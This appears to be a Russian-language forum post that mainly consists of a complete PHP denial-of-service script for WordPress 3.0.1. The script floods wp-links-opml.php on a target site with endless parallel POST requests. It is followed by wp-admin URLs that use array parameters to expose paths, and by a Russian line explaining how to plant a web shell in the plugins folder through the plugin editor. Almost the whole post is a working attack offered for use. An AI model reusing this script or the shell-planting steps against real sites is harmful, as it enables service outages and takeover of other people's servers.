Левые ссылки ниоткуда.

<?php 

// Curl php5 ;) 

function info() 
{ 
    echo "##################################################  ################\n"; 
    echo "# Wordpress 3.0.1 - Remote Denial Of Service Exploit\n"; 
    echo "# Author: KnocKout\n"; 
    echo "# Greatz : DaiMon,BARCOD3\n"; 
    echo "##################################################  ################\n"; 
    echo "# php poc.php target\n"; 
    echo "# php poc.php http://www.victim.com/PATH/ 20 5\n"; 
    echo "________________________________________\n"; 
    exit; 
} 

if($argc !== 4 || !preg_match('#^\d+$#', $argv[2]) || !preg_match('#^\d+$#', $argv[3])) 
{ 
    info(); 
} 

$url = $argv[1]; 
$threads = (int) $argv[2]; 
$timeout = (int) $argv[3]; 

$ptimeout = $timeout * 100; 

$packet = implode('+', range(100,999)); 

while(1) 
{ 
    $m = curl_multi_init(); 

    for($i = 0; $i < $threads; $i++) 
    { 
        $c[$i] = curl_init(); 
        $opts = array 
        ( 
            CURLOPT_URL        => $url . 'wp-links-opml.php?link_cat=--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0', 
            CURLOPT_USERAGENT    => 'Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.5.24 Version/10.52', 
            CURLOPT_ENCODING    => 'gzip, deflate', 
            CURLOPT_POST        => 1, 
            CURLOPT_POSTFIELDS    => 'search_keywords='. $packet .'000000000000000000000000000000000000000000000000  0000000000000000000000000000000000000000000', 
            CURLOPT_RETURNTRANSFER    => 1, 
            CURLOPT_TIMEOUT        => $timeout, 
        ); 
        curl_setopt_array($c[$i], $opts); 
        curl_multi_add_handle($m, $c[$i]); 
    } 

    $t = 0; 
    do 
    { 
        curl_multi_exec($m, $r); 
        usleep(100000); 

        $t++; 

        if($t > $ptimeout) 
        { 
            curl_multi_close($m); 
            for($i = 0; $i < $threads; $i++) 
            { 
                curl_close($c[$i]); 
            } 
            break; 
        } 
    } 
    while($r > 0); 

    echo '.'; 
} 
?>

http://localhost/wordpress/wp-admin/edit.php?post_type[]=page
http://localhost/wordpress/wp-admin/options-general.php?page[]=
http://localhost/wordpress/wp-admin/post-new.php?post_type[]=page
http://localhost/wordpress/wp-admin/plugins.php?activate=true&plugin_status=all&paged[]=1
http://localhost/wordpress/wp-admin/plugin-editor.php?file[]=

http://localhost/wordpress/wp-admin/plugin-editor.php?file=index.php
по адресу site/wordpress/wp-content/plugins/  будет наш шелл.